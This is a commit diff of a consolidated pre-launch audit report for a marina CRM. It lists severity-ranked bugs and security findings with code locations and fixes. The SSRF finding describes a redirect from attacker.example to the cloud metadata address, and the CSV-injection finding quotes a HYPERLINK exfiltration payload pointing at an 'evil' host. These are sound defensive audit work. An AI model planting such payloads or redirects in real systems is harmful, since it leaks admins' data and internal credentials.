docs(audit): complete unified master — all 17 lanes, 85 findings (4 CRIT/17 HIGH/29 MED/35 LOW)
Consolidates audit passes 1-3 + smoke test + reconciliation. Supersedes the partial doc. Pre-fix; nothing remediated yet. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -1,33 +1,61 @@
|
||||
> **Provenance:** consolidated from audit pass 1 (run `wf_70a35b83-ab0` — 2 lanes
|
||||
> completed, 14 failed on structured-output), the file-IDOR smoke test, and audit
|
||||
> pass 2 (run `wf_f37b6f89-70a` — 17 prose lanes launched, **6 completed, 11
|
||||
> starved by API rate-limiting**). Supersedes the earlier partial doc.
|
||||
> **Status:** PARTIAL — 6 of 17 risk lanes complete. The 11 rate-limited lanes
|
||||
> (see § 3 coverage table) must be re-run at lower concurrency before this is a
|
||||
> launch sign-off.
|
||||
> **Initiative:** launch-readiness Initiative 2 (codebase + security audit).
|
||||
<!--
|
||||
Port Nimara CRM — Pre-launch audit, complete.
|
||||
Provenance: pass 1 (wf_70a35b83-ab0, 2 lanes) + file-IDOR smoke test
|
||||
+ pass 2 (wf_f37b6f89-70a, 17 prose lanes; 6 completed, 11 rate-limited)
|
||||
+ pass 3 (wf_e8cfef3c-d55, the 12 rate-limited lanes re-run in batches of 3)
|
||||
+ a final reconciliation pass that deduped passes 1-2 and 3 into this single report.
|
||||
All 17 risk lanes now have coverage. Initiative: launch-readiness Initiative 2.
|
||||
Status: COMPLETE — findings below are pre-fix; nothing has been remediated yet.
|
||||
Severity-sorted; [needs-confirm] tags preserved for findings whose source lane
|
||||
self-rated low confidence or whose reasoning needs a direct trace before fixing.
|
||||
-->
|
||||
|
||||
# Port Nimara CRM — Unified Master Audit Report
|
||||
|
||||
_Consolidation of pass 1+2 (`audit-master.md`) and pass 3 (`audit-pass3-master.md`). Findings are merged and deduped, then renumbered sequentially within each severity tier. No new findings were introduced; every distinct source finding is preserved._
|
||||
|
||||
---
|
||||
|
||||
# Port Nimara CRM — Pre-Launch Master Audit Report
|
||||
|
||||
## 1. Executive Summary
|
||||
|
||||
This report consolidates findings from 17 targeted audit lanes plus an earlier pass-1 confirmation set. **Seven lanes (Sales pipeline, Background worker isolation, Socket.IO authz, AI subsystem, GDPR cascade, Storage proxy/presign, Report/PDF correctness, Berth rules/recommender, Permissions/rate-limit, React components, Documenso e-sign) returned no findings due to API rate-limiting** and must be re-run — coverage is incomplete and several high-risk surfaces remain un-audited (see coverage table and gap note).
|
||||
This unified report combines two audit synthesis passes covering all 17 lanes plus the pass-1 routing/API confirmation set. Pass 1+2 completed 6 lanes (financial, cross-entity, import, webhook, residential/tenancies, plus pass-1 routing/API) and rate-limited the other 11; pass 3 re-ran those 11 (plus an additional surface) and returned findings. Together they give full lane coverage.
|
||||
|
||||
From the lanes that did complete, the dominant theme is **server-side enforcement gaps that the UI papers over**: a disabled module that still accepts writes, a deposit gate that compares across currencies, an SSRF allowlist defeated by HTTP redirects, and money math accumulated in float. None require cross-tenant access to exploit; most are reachable by an ordinary authed user or admin within their own port.
|
||||
The dominant theme across both passes is **server-side enforcement and money/state-correctness gaps that the UI papers over**: a deposit gate that compares across currencies _and_ auto-marks berths Sold, a disabled module that still accepts writes, berth-rule triggers that flip inventory to "Sold" on lost/cancelled deals, an SSRF allowlist defeated by HTTP redirects, client-merge that silently drops payments/ownership, and several rate limiters defined but never applied. Almost none require cross-tenant access to exploit; most are reachable by an ordinary authed user or admin within their own port (cross-tenant impact mostly latent until a second port is provisioned).
|
||||
|
||||
### Counts by severity (deduped)
|
||||
### Counts by severity (true deduped)
|
||||
|
||||
| Severity | Count |
|
||||
| --------- | --------------------------------- |
|
||||
| CRITICAL | 3 |
|
||||
| HIGH | 6 |
|
||||
| MEDIUM | 11 |
|
||||
| LOW | 9 (incl. pass-1 envelope cluster) |
|
||||
| **Total** | **29 distinct findings** |
|
||||
| Severity | Count |
|
||||
| --------- | ------------------------ |
|
||||
| CRITICAL | 4 |
|
||||
| HIGH | 17 |
|
||||
| MEDIUM | 29 |
|
||||
| LOW | 35 |
|
||||
| **Total** | **85 distinct findings** |
|
||||
|
||||
**Top 5 to fix before launch:** (1) cross-currency deposit gate auto-marks berths Sold [C], (2) Residential module-disabled never enforced on v1 API [C], (3) tracked-link `/q/` dead in all outbound mail [H, pass-1], (4) webhook `fetch` follows redirects → SSRF read primitive [H], (5) yacht archive/restore falsifies ownership-history ledger [H].
|
||||
_Derivation (counting the actual numbered entries in each source doc, several of which bundle sub-items): pass 1+2 = C3 / H6 / M11 / L12 = **32**; pass 3 = C1 / H13 / M18 / L23 = **55**; union = 87, minus two merges (the cross-pass deposit-currency duplicate, and the within-pass-3 AI rate-limit + budget pair) = **85**. (Note: each source doc's own headline subtotal — 29 and 48 — under-reported its physical entry count by folding some bundled items; this unified count is computed from the actual entries preserved here.)_
|
||||
|
||||
### Top fixes before launch
|
||||
|
||||
**Critical (all four):**
|
||||
|
||||
- **C1 — Cross-currency deposit gate auto-marks berths Sold.** Deposit total sums all currencies as bare scalars vs a single-currency expectation, then auto-advances and fires the `deposit_received` rule → berth "Sold" off an underpaid/wrong-currency deposit. _(Merged pass1+2 C1 + pass3 H3.)_
|
||||
- **C2 — Lost/cancelled deals auto-flip the berth to "Sold."** `setInterestOutcome` fires `interest_completed` for every outcome; the outcome-blind rule defaults to `sold`, corrupting public marketing + inventory.
|
||||
- **C3 — Residential module-disabled state never enforced on the v1 API.** Admin disables Residential, but all 13 `/api/v1/residential/**` routes skip any module gate; writes (incl. partner-forward emails) still go through.
|
||||
- **C4 — Tracked-link `/q/[slug]` not in `PUBLIC_PATHS`.** Every tracked link in outbound mail 302-redirects external recipients to `/login` — all tracked links are dead.
|
||||
|
||||
**Most serious HIGHs:**
|
||||
|
||||
- **H1 — Webhook `fetch` follows redirects, defeating the SSRF allowlist** → full SSRF read primitive against cloud metadata with exfiltration via the deliveries UI.
|
||||
- **H2 — Client merge skips payments + polymorphic ownership** → survivor loses memberships/yachts/invoices/payments; sets up H3 cascade-delete.
|
||||
- **H3 — Hard-deleting a merged-away loser cascade-deletes the winner's payments** → silent destruction of the survivor's financial history.
|
||||
- **H4 — Reservation-agreement signing fires the wrong berth rule (`contract_signed`)** → premature "Sold" one-to-two stages early.
|
||||
- **H5 — Yacht archive/restore falsifies the ownership-history ledger** → permanent corruption of the legal ownership audit trail.
|
||||
- **H6 — Dashboard reports title-case berth status that never matches canonical** → leadership PDF silently reports 0 sold / understated occupancy.
|
||||
- **H7 — Residential notes feature fully broken (wrong API URL in NotesList)** → every notes CRUD 404s; UI silently shows "No notes yet."
|
||||
- **H8 — `residentialAccess` toggle bypasses caller-superset check** → privilege escalation granting residential CRUD the caller doesn't hold.
|
||||
- **H9 — AI email-draft spends OpenAI tokens with no rate limit and no budget gate** → an authed rep can loop to drain the per-port budget.
|
||||
- **H10 — CSV formula injection in expense + audit-log exports** → RCE/exfil on an admin's machine when opening the export.
|
||||
- **H11 — Cross-tenant brand-kit leak via attacker-controlled `coverBrandPortId`** → another tenant's logo + port name rendered onto a report PDF cover.
|
||||
|
||||
---
|
||||
|
||||
@@ -35,19 +63,25 @@ From the lanes that did complete, the dominant theme is **server-side enforcemen
|
||||
|
||||
### CRITICAL
|
||||
|
||||
#### C1 — Deposit-met gate compares amounts across currencies, auto-advancing pipeline and auto-marking berths Sold
|
||||
#### C1 — Deposit-met gate compares amounts across currencies, auto-advancing the pipeline and auto-marking berths Sold _(merged: pass1+2 C1 + pass3 H3)_
|
||||
|
||||
`src/lib/services/payments.service.ts:130-132` (sum: `:62-70`)
|
||||
The auto-advance gate sums every deposit/refund row by `Number(row.amount)` regardless of `row.currency` (overwriting `currency` each iteration) and compares the bare scalar against `interests.depositExpectedAmount`, never reading the companion `depositExpectedCurrency` (default EUR, `interests.ts:65`). A 5000 EUR deal is satisfied by 5000 USD, or by 5000 of any weaker currency; mixed-currency payments (5000 USD + 5000 EUR) sum to a meaningless 10000 and almost always trip the gate. When it fires it advances stage to `deposit_paid`, stamps `dateDepositReceived`, and fires `evaluateRule('deposit_received', …)` whose default `auto` mode marks the primary berth **Sold** — a berth sold off an underpaid/wrong-currency deposit.
|
||||
**Fix:** Normalize each payment to `depositExpectedCurrency` via `convert`/`normalizeAmount` before summing; reject (or require manual confirmation for) the gate when an FX rate is unavailable; assert unit equality before the `>=` compare. **Confidence: 0.9**
|
||||
`src/lib/services/payments.service.ts:40-70,130-132` + `src/lib/db/schema/interests.ts:64-65`
|
||||
The auto-advance gate sums every deposit/refund row by `Number(row.amount)` regardless of `row.currency` (overwriting `currency` each iteration in `getDepositTotalForInterest`) and compares the bare scalar against `interests.depositExpectedAmount`, never reading the companion `depositExpectedCurrency` (default EUR). A 5000 EUR deal is satisfied by 5000 USD, or by 5000 of any weaker currency; mixed-currency payments (5000 USD + 5000 EUR) sum to a meaningless 10000 and almost always trip the gate. When it fires it advances stage to `deposit_paid`, stamps `dateDepositReceived`, and fires `evaluateRule('deposit_received', …)` whose default `auto` mode marks the primary berth **Sold** — a berth sold off an underpaid/wrong-currency deposit.
|
||||
**Fix:** Filter the sum to `payments.currency = interest.depositExpectedCurrency` (or normalize each payment to `depositExpectedCurrency` via `convert`/`normalizeAmount` before summing); reject or require manual confirmation when an FX rate is unavailable; assert unit equality before the `>=` compare. **Confidence: 0.9**
|
||||
|
||||
#### C2 — Residential module-disabled state is never enforced on the v1 API; only the UI is hidden
|
||||
#### C2 — Lost/cancelled deals auto-flip the berth to "Sold" (public marketing + inventory corruption)
|
||||
|
||||
`src/lib/services/interests.service.ts:1407` + `src/lib/services/berth-rules-engine.ts:38-45,89-198`
|
||||
_(Reported independently by the Sales-pipeline and Berth-subsystem lanes — same root cause, merged within pass 3.)_ `setInterestOutcome` fires `evaluateRule('interest_completed', …)` unconditionally for **every** non-null outcome (`won | lost_other_marina | lost_unqualified | lost_no_response | cancelled`). The engine never inspects `interest.outcome`; the default rule is `{ mode:'auto', targetStatus:'sold' }`, so it blindly sets the primary berth `status='sold'`. The inline comment claiming admins can "scope per outcome via system*settings.berth_rules" is aspirational — `getRulesConfig`/`evaluateRule` have no outcome dimension. A rep marking a deal lost or cancelled silently sets the berth to **Sold** on the public site (`derivePublicStatus` ranks Sold highest), removes it from the recommender (`b.status <> 'sold'`), and corrupts occupancy/inventory reporting — `mode:'auto'`, no confirmation.
|
||||
**Fix:** Branch on outcome before firing — only `won` should target `sold`; `lost*\*`/`cancelled`should fire`interest_archived`/ a new`deal_lost`trigger defaulting to`available`, or gate inside `evaluateRule`on`outcome === 'won'`. **Confidence: 0.9**
|
||||
|
||||
#### C3 — Residential module-disabled state is never enforced on the v1 API; only the UI is hidden
|
||||
|
||||
`src/app/api/v1/residential/**/route.ts` (all 13 routes); enforcement only at `(dashboard)/[portSlug]/residential/layout.tsx:34-43`
|
||||
Tenancies routes gate every handler with `assertTenanciesModuleEnabled`, but **none** of the 13 residential v1 routes call any module gate. The only enforcement is the page-tree layout, which does not wrap `/api/v1/residential/**` (those live under `app/api/`, outside `(dashboard)`). The `residential-module.service.ts:14-19` docstring claiming "direct API hits are rejected at the layout boundary" is false. An admin disables Residential (expecting it inert), yet any user with `residential_*` permissions can still `POST /residential/clients`, `PATCH /residential/interests/[id]`, run the bulk endpoint, add notes — and `createResidentialInterest` fires partner-forward emails to third parties (`residential.service.ts:341`). The public inquiry endpoint _is_ gated (`api/public/residential-inquiries/route.ts:69`), confirming the gap is unintended.
|
||||
**Fix:** Add `await assertResidentialModuleEnabled(ctx.portId)` at the top of every residential v1 handler (mirror Tenancies), or a shared `withResidentialModule` wrapper; fix the docstring. **Confidence: 0.93**
|
||||
|
||||
#### C3 — Tracked-link `/q/[slug]` not in `PUBLIC_PATHS`; every tracked link in outbound mail is dead _(pass-1, confirmed)_
|
||||
#### C4 — Tracked-link `/q/[slug]` not in `PUBLIC_PATHS`; every tracked link in outbound mail is dead _(pass-1, confirmed)_
|
||||
|
||||
`src/proxy.ts:51`
|
||||
External email recipients hitting a tracked `/q/[slug]` link are 302-redirected to `/login`, so every tracked link in outbound mail is dead for its intended (unauthenticated, external) audience.
|
||||
@@ -63,31 +97,99 @@ External email recipients hitting a tracked `/q/[slug]` link are 302-redirected
|
||||
The worker validates `webhook.url` via `resolveAndCheckHost` (static + DNS re-resolution of the configured host) then calls `fetch(webhook.url, …)` with **no `redirect: 'manual'`** — Node defaults to `follow`. An admin (or attacker with a `manage_webhooks` session) configures a genuinely-public `https://attacker.example/` that passes every check; at delivery it returns `302 Location: http://169.254.169.254/...`. The redirect target is never re-validated; the worker reads up to 1KB of the response into `webhook_deliveries.response_body`, which the deliveries listing returns verbatim — a full SSRF read primitive against cloud metadata/internal services with exfiltration via the deliveries UI. The DNS-rebind defense is moot.
|
||||
**Fix:** Pass `redirect: 'manual'`; treat any 3xx as a non-followed failure, or follow manually re-validating each hop's resolved IP against `resolveAndCheckHost` with a hop cap. **Confidence: 0.95**
|
||||
|
||||
#### H2 — Yacht archive/restore transfers ownership by writing only denormalized columns, falsifying the ownership-history ledger
|
||||
#### H2 — Client merge skips polymorphic ownership + payments → survivor data loss
|
||||
|
||||
`src/lib/services/client-merge.service.ts:205-302`
|
||||
Merge re-points only `interests, berthTenancies, clientContacts, clientAddresses, clientNotes, clientTags, clientRelationships, clientMergeCandidates`. It does **not** touch `payments`, `companyMemberships`, polymorphic `yachts` ownership, or polymorphic `invoices` billing-entity. The winner loses visibility of the loser's memberships, yachts, invoices, and payments. Sharpest for payments: merge moves `interests` to the winner but leaves `payments.clientId` on the loser, so a payment's `interestId` points at a winner-owned interest while `clientId` points at the archived loser.
|
||||
**Fix:** In the merge transaction, re-point `payments.clientId`, `companyMemberships.clientId` (dedup against `unique_cm_exact`), `yachts WHERE currentOwnerType='client' AND currentOwnerId=loserId`, and `invoices WHERE billingEntityType='client' AND billingEntityId=loserId`; record each in the undo snapshot. **Confidence: 0.95**
|
||||
|
||||
#### H3 — Hard-deleting a merged-away loser cascade-deletes the winner's payments
|
||||
|
||||
`src/lib/db/schema/pipeline.ts:95-97` + `client-merge.service.ts:208-214` + `client-hard-delete.service.ts:313`
|
||||
`payments.clientId` is `notNull onDelete:'cascade'`. After a merge, loser's `payments` retain `clientId=loserId` (per H2) but their `interestId` now belongs to the winner. Hard-deleting that stale duplicate cascades and silently destroys the survivor's financial/deposit history; `hardDeleteClient` never re-points payments.
|
||||
**Fix:** Re-point payments during merge (H2); independently, hard-delete should snapshot/guard payments rather than relying on the cascade. **Confidence: 0.9**
|
||||
|
||||
#### H4 — Reservation-agreement signing fires the wrong berth rule (`contract_signed`) → premature "Sold"
|
||||
|
||||
`src/lib/services/documents.service.ts:1682-1684`
|
||||
The `documentType === 'reservation_agreement'` completion block calls `evaluateRule('contract_signed', …)` — a copy-paste from the contract block (line 1741). `reservation_signed` is not a valid `BerthRuleTrigger`, so this flips the berth to `sold` (default `contract_signed` rule) one-to-two stages early, before any deposit.
|
||||
**Fix:** Fire the appropriate rule (or none) for reservation signing; do not reuse `contract_signed`. **Confidence: 0.8**
|
||||
|
||||
#### H5 — Yacht archive/restore transfers ownership by writing only denormalized columns, falsifying the ownership-history ledger
|
||||
|
||||
`src/lib/services/client-archive.service.ts:249-252` & `src/lib/services/client-restore.service.ts:401-404`
|
||||
Both paths `update(yachts).set({ currentOwnerType, currentOwnerId })` without closing the open `yacht_ownership_history` row (`endDate IS NULL`) or opening a new one. The canonical `transferOwnership()` (`yachts.service.ts:274-295`) does both, guarded by `uniqueIndex('idx_yoh_active') WHERE endDate IS NULL`. After a smart-archive transfer the denormalized owner says Company X while history still shows the archived client as current owner with `endDate IS NULL`; the next real `transferOwnership` then closes the wrong row and the legal ownership audit trail is permanently wrong. Restore re-corrupts it identically.
|
||||
**Fix:** Extract the history close+open into a `transferOwnershipTx(tx, …)` and call it from both archive and restore handlers. **Confidence: 0.8**
|
||||
|
||||
#### H3 — Refund sign convention is inconsistent across the two summation paths; refunds can inflate reported revenue
|
||||
#### H6 — Dashboard report queries title-case berth status that never matches the lowercase canonical → silent zeros
|
||||
|
||||
`src/lib/services/payments.service.ts:68` vs `src/lib/services/reports/financial.service.ts:163,263`
|
||||
The validator (`payments.ts`) accepts `^-?\d+(\.\d+)?$` and `createPayment` inserts the amount verbatim — refunds may be positive or negative. Readers disagree: `getDepositTotalForInterest:68` always subtracts (`-Math.abs(n)`); `sumPaymentsInRange:163` trusts the stored sign (comment "already negative"); `getRevenueByMonth:263` drops refunds from the revenue chart entirely. If a rep enters a refund positive (what the regex permits and the natural UI input), the Financial report **adds** it — `revenueCollected` overstated by 2× the refund while `refundsIssued` still looks plausible. `getDepositPositions` filters deposits only, so a refunded deposit shows fully collected and can still trip the C1 gate.
|
||||
**Fix:** Normalize refund sign at write time (`-Math.abs(amount)` when `paymentType==='refund'`), apply one convention in every reader, and make `getRevenueByMonth` subtract refunds. **Confidence: 0.85**
|
||||
`src/lib/services/dashboard-report-data.service.ts:289, 462-464`
|
||||
Canonical `berths.status` is lowercase (`available | under_offer | sold`). `berths_sold_period` matches `newValue->>'status' = 'Sold'` (audit rows store lowercase) → always empty. `occupancy_timeline_chart` does `status IN ('Sold','under_offer','Under offer')` — only `under_offer` ever matches, so the timeline drops all sold berths. Leadership-facing PDF reports two key metrics as 0/understated, silently. `operational.service.ts` does this correctly throughout.
|
||||
**Fix:** Change literals to lowercase `'sold'`/`'under_offer'`. **Confidence: 0.88**
|
||||
|
||||
#### H4 — CSV formula injection in expense + audit-log exports
|
||||
#### H7 — Residential notes feature fully broken: NotesList builds the wrong API URL
|
||||
|
||||
`src/components/shared/notes-list.tsx:192-194` (consumed by `residential-client-tabs.tsx:116`, `residential-interest-tabs.tsx:59`)
|
||||
`baseEndpoint = /api/v1/${entityType}/${entityId}/notes` interpolates the raw discriminator, so `entityType="residential_clients"` produces `/api/v1/residential_clients/<id>/notes`, but real routes are `/api/v1/residential/clients/[id]/notes` (slash-separated). No such underscore directory or rewrite exists → every list/create/edit/delete 404s; UI silently shows "No notes yet". The sibling `sourceLinkFor()` in the same file uses the correct slash path.
|
||||
**Fix:** Map `entityType` → API path segment via a lookup table and build `baseEndpoint` from that. **Confidence: 0.95**
|
||||
|
||||
#### H8 — `residentialAccess` toggle bypasses the caller-superset check (privilege escalation)
|
||||
|
||||
`src/lib/services/users.service.ts:323-328` + resolver `src/lib/api/helpers.ts:208-221`
|
||||
`updateUser` enforces caller-superset on role reassignment but **not** on the `residentialAccess` flag; the resolver unconditionally grants full residential CRUD when the flag is set. An admin holding only `admin.manage_users` (not `residential_*`) can PATCH any peer `{"residentialAccess": true}`, granting a permission the caller doesn't hold and can't grant via the (hardened) override PUT or role path. Defeats the caller-superset invariant.
|
||||
**Fix:** In `updateUser`, when `residentialAccess === true` and not super-admin, require the caller hold `residential_clients.view` (and other residential leaves) before allowing the flag. **Confidence: 0.85**
|
||||
|
||||
#### H9 — AI email-draft endpoints spend OpenAI tokens with no rate limit and no budget gate
|
||||
|
||||
`src/app/api/v1/ai/email-draft/route.ts` (+ `interest-score/route.ts`, `interest-score/bulk/route.ts`) + worker `src/lib/queue/workers/ai.ts:187` (service `email-draft.service.ts`)
|
||||
_(Merged within pass 3: the AI-subsystem lane and the permissions/rate-limit lane independently flagged the missing rate limit; the AI lane separately flagged the missing budget gate — both facets of the same unprotected token-spend surface.)_ `rateLimiters.ai` (60/min, `rate-limit.ts:111`) exists but `grep withRateLimit('ai'` returns zero hits; `email-draft` enqueues an OpenAI job per call gated only by `email.send` + flag and returns 202 fast (no backpressure), so a loop drains the OpenAI budget. Compounding it, `generateEmailDraft` issues a live OpenAI POST whose only budget interaction is the after-the-fact ledger write (`ai.ts:238`); `checkBudget` is imported in exactly one route (OCR `scan-receipt`) and zero AI routes, so the per-port hard cap (`ai.budget.hardCapTokens`, default 500k) is unenforceable — a rep can loop ~1,600 tokens/call regardless of cap.
|
||||
**Fix:** Wrap each AI route `withRateLimit('ai', …)` (mirror `expenses/scan-receipt/route.ts:28`), AND call `checkBudget({ portId, estimatedTokens: ~1700 })` in `requestEmailDraft` before `aiQueue.add` (or at the top of `generateEmailDraft`), early-returning to the template fallback on `!budget.ok`. **Confidence: 0.9** (rate-limit) **/ 0.97** (budget gate)
|
||||
|
||||
> Note: `interest-score`/`bulk` are pure SQL + Redis (no LLM call) — the rate-limit concern there is DB-amplification, not token spend.
|
||||
|
||||
#### H10 — CSV formula injection in expense + audit-log exports
|
||||
|
||||
`src/app/api/v1/expenses/export/csv/route.ts` + `src/lib/services/expense-export.tsx:66` + `src/app/api/v1/admin/audit/export/route.ts:95-102`
|
||||
Both exporters quote-escape per RFC4180 but neither neutralizes formula triggers. A cell beginning with `=`, `+`, `-`, `@`, or leading tab/CR is emitted verbatim. Free-text fields (expense `Establishment`/`Description`; audit `userAgent`/`metadata`/`oldValue`/`newValue`) carry attacker-seeded payloads like `=HYPERLINK("http://evil/?d="&A1,"OK")`; an admin opens the export in Excel/Sheets → exfiltration or RCE on the admin's machine. papaparse has no built-in guard.
|
||||
**Fix:** Shared sanitizer that prefixes a `'` (or space) when `String(v)[0]` ∈ `=+-@\t\r`, applied in `buildCsv`'s `escape` and before `Papa.unparse`. **Confidence: 0.9**
|
||||
|
||||
#### H5 — No date-overlap / scheduling model for berth tenancies; single-slot latch with no date awareness
|
||||
#### H11 — Cross-tenant brand-kit leak via attacker-controlled `coverBrandPortId`
|
||||
|
||||
`src/lib/services/report-render.service.ts:228-242` (enqueue `src/app/api/v1/reports/runs/route.ts:38-52`, validator `src/lib/validators/reports.ts:76`)
|
||||
_(Reported by the worker-isolation lane as HIGH and by the report-correctness lane as LOW — taking the higher severity; data scope is confirmed limited to cover logo + port name.)_ The render worker reads an arbitrary `coverBrandPortId` straight from the run config and loads that port's brand kit with **no access check** (config validated only as `z.record(z.string(), z.unknown())`; `createReportRun` validates `templateId` but not config keys). Any user with `reports:export` can render another tenant's logo + port name onto a report PDF cover. All data still comes from `run.portId` (no record leak), and the deployment is single-port today — hence HIGH not CRITICAL; becomes a clean cross-tenant leak on second-port provisioning.
|
||||
**Fix:** Validate `coverBrandPortId` against the requesting user's accessible ports at enqueue, or drop the override; defense-in-depth, honor it only if it equals `run.portId`. **Confidence: 0.85**
|
||||
|
||||
#### H12 — Refund sign convention is inconsistent across the two summation paths; refunds can inflate reported revenue
|
||||
|
||||
`src/lib/services/payments.service.ts:68` vs `src/lib/services/reports/financial.service.ts:163,263`
|
||||
The validator (`payments.ts`) accepts `^-?\d+(\.\d+)?$` and `createPayment` inserts the amount verbatim — refunds may be positive or negative. Readers disagree: `getDepositTotalForInterest:68` always subtracts (`-Math.abs(n)`); `sumPaymentsInRange:163` trusts the stored sign (comment "already negative"); `getRevenueByMonth:263` drops refunds from the revenue chart entirely. If a rep enters a refund positive (what the regex permits and the natural UI input), the Financial report **adds** it — `revenueCollected` overstated by 2× the refund while `refundsIssued` still looks plausible. `getDepositPositions` filters deposits only, so a refunded deposit shows fully collected and can still trip the C1 gate.
|
||||
**Fix:** Normalize refund sign at write time (`-Math.abs(amount)` when `paymentType==='refund'`), apply one convention in every reader, and make `getRevenueByMonth` subtract refunds. **Confidence: 0.85**
|
||||
|
||||
#### H13 — "EOI signed" yields two different pipeline stages depending on signing channel
|
||||
|
||||
`src/lib/services/documents.service.ts:992` vs `:1634`
|
||||
Documenso-webhook signing advances to `reservation` (`advanceStageIfBehindGated(..., 'eoi_signed')`); manual upload (`uploadSignedManually`) advances only to `eoi` via bare `advanceStageIfBehind` — a full stage behind, and it also bypasses the per-port `stage_advance_rules` gate. Skews stage-duration/funnel reports.
|
||||
**Fix:** Make both paths target `reservation` via `advanceStageIfBehindGated(..., 'eoi_signed')`. **Confidence: 0.8**
|
||||
|
||||
#### H14 — Browser back/forward desyncs URL from displayed list
|
||||
|
||||
`src/hooks/use-paginated-query.ts:44-56`
|
||||
Page/pageSize/sort/filters seed from the URL once via `useState` initializers, then drive the URL one-way via `router.replace`. No effect resyncs `searchParams` → state, so Back/forward updates the URL but not component state (URL shows page 2, list shows page 3); refresh jumps again.
|
||||
**Fix:** Derive state directly from `useSearchParams()`, or add an effect resyncing the four slices when params change. **Confidence: 0.78**
|
||||
|
||||
#### H15 — Applying a saved view silently drops the saved sort
|
||||
|
||||
`src/components/clients/client-list.tsx:192` (+ interests/yachts/companies/berths/residential-interests list components) + `src/hooks/use-paginated-query.ts`
|
||||
`SavedViewsDropdown` passes `(view.filters, view.sortConfig)` to `onApplyView`, but every consumer ignores the second arg (`client-list` destructures `_savedSort` and discards it). `usePaginatedQuery` has no atomic "apply filters **and** sort" mutator. A saved "Overdue invoices, sorted by amount desc" restores filters but the default sort — half-applying the view.
|
||||
**Fix:** Add `setViewState({ filters, sort })` (one `syncUrl` write) to `usePaginatedQuery` and thread the sort through each `onApplyView`. **Confidence: 0.9**
|
||||
|
||||
#### H16 — No date-overlap / scheduling model for berth tenancies; single-slot latch with no date awareness
|
||||
|
||||
`src/lib/services/berth-tenancies.service.ts` (lifecycle) + `src/lib/db/schema/tenancies.ts:80-83`
|
||||
The only conflict guard is the partial unique index `idx_bt_active` on `(berth_id) WHERE status='active'`; there is no check that a new tenancy's `[startDate,endDate]` doesn't overlap an existing one. You cannot model a berth with a future-windowed tenant B while A's window has ended (reps end by status, not date), and nothing stops a `pending` row with an overlapping window from being activated the moment the prior one ends. Simultaneous-active double-booking _is_ DB-prevented, but the system has no notion of a tenancy schedule — a real correctness gap for seasonal/fixed-term marina tenancies.
|
||||
**Fix:** Either document tenancies as explicitly single-slot (and reject the seasonal use case), or add `EXCLUDE USING gist (berth_id WITH =, tstzrange(start_date, coalesce(end_date,'infinity')) WITH &&) WHERE status IN ('pending','active')`. **Confidence: 0.8**
|
||||
|
||||
#### H6 — No `endDate >= startDate` validation; update/renew/transfer persist inverted date ranges
|
||||
#### H17 — No `endDate >= startDate` validation; update/renew/transfer persist inverted date ranges
|
||||
|
||||
`src/lib/validators/tenancies.ts:35-67` + `src/lib/services/berth-tenancies.service.ts:362-407,541-619`
|
||||
`update`/`renew`/`transfer`/`end` schemas accept raw `z.coerce.date()` with no cross-field refine. `transferTenancy` mints the successor with `startDate: data.transferDate` but `endDate: existing.endDate` (`:583-584`); transferring an over-running tenancy forward yields `endDate < startDate`. `updateTenancy:371-372` and `renewTenancy:441-442` are unchecked similarly. Inverted ranges corrupt `tenancy-reports.service.ts` occupancy/renewal math, dashboard tenure widgets, and can skew the public-berths "Under Offer/Sold" projection.
|
||||
@@ -97,168 +199,459 @@ The only conflict guard is the partial unique index `idx_bt_active` on `(berth_i
|
||||
|
||||
### MEDIUM
|
||||
|
||||
#### M1 — Public file gate keys off user-settable `category`; any authed user can make own-port files publicly streamable _(pass-1, confirmed)_
|
||||
#### M1 — `setInterestOutcome` has no terminal-state guard; outcomes overwritable → re-fires side effects
|
||||
|
||||
`src/app/api/public/files/[id]/route.ts:26` + `src/lib/validators/files.ts:11,18` + `src/lib/services/files.ts:186`
|
||||
`category` is a free string with no allow-list, so a user can self-set `category=branding` to make their own-port file publicly streamable + CDN-cached 24h. No cross-tenant theft (ids are UUIDv4).
|
||||
**Fix:** Reserve `branding` (server-controlled) or add an explicit `is_public` column. **Confidence: high (confirmed)**
|
||||
`src/lib/services/interests.service.ts:1358-1407`
|
||||
Unlike `clearInterestOutcome`, `setInterestOutcome` never checks `existing.outcome`. A second call (won→lost, double-submit, idempotent webhook) re-runs `evaluateRule('interest_completed')` (compounding C2), folder rename, audit row, socket emit, Umami event.
|
||||
**Fix:** Reject re-setting an outcome (require clearing first) and make the berth rule outcome-aware. **Confidence: 0.75**
|
||||
|
||||
#### M2 — Per-conversion `toFixed(2)` rounding inside row-by-row accumulation compounds drift; inverse rates stored pre-rounded
|
||||
#### M2 — Sending a reservation_agreement fires `eoi_sent` rule + double-advances, polluting EOI milestones
|
||||
|
||||
`src/lib/services/documents.service.ts:846-892`
|
||||
For a reservation_agreement send, the shared block fires `evaluateRule('eoi_sent')`, advances to `eoi`, stamps `dateEoiSent`/`eoiDocStatus='sent'`, **then** the reservation branch advances to `reservation`. EOI milestone columns are written for a non-EOI document, polluting funnel data.
|
||||
**Fix:** Gate the EOI-specific stamps + `eoi_sent` rule to `doc.documentType === 'eoi'`. **Confidence: 0.7**
|
||||
|
||||
#### M3 — `changeInterestStage` non-transactional double-UPDATE + back-stamps milestone dates on signing-driven advances
|
||||
|
||||
`src/lib/services/interests.service.ts:1140-1163`
|
||||
Two non-transactional UPDATEs on the same row; milestone logic stamps `dateContractSent = now` on any move to `contract` — but the contract-signed webhook calls this right after stamping `dateContractSigned`, back-stamping `dateContractSent` to the signing instant so "sent→signed" duration reads ~0.
|
||||
**Fix:** Only auto-stamp milestone dates for manual/UI moves, not signing-driven advances; fold the two UPDATEs into one. **Confidence: 0.65**
|
||||
|
||||
#### M4 — Multi-berth bundles: status-advancing rules flip only the primary berth, leaving siblings stale
|
||||
|
||||
`src/lib/services/berth-rules-engine.ts:89-93`
|
||||
The engine targets `primaryBerth?.berthId` only. For a multi-berth EOI bundle (`is_in_eoi_bundle`), a won/deposited/contracted deal flips only the primary to `sold`; bundled siblings keep `available`/`under_offer` and stay publicly visible + pitchable.
|
||||
**Fix:** For status-advancing triggers, iterate the full `interest_berths WHERE is_in_eoi_bundle = true` set under the same advisory-lock/idempotency pattern. **Confidence: 0.75**
|
||||
|
||||
#### M5 — `berth_unlinked` rule mutates the wrong berth (surviving primary, not the unlinked one)
|
||||
|
||||
`src/lib/services/interest-berths.service.ts:421-433`
|
||||
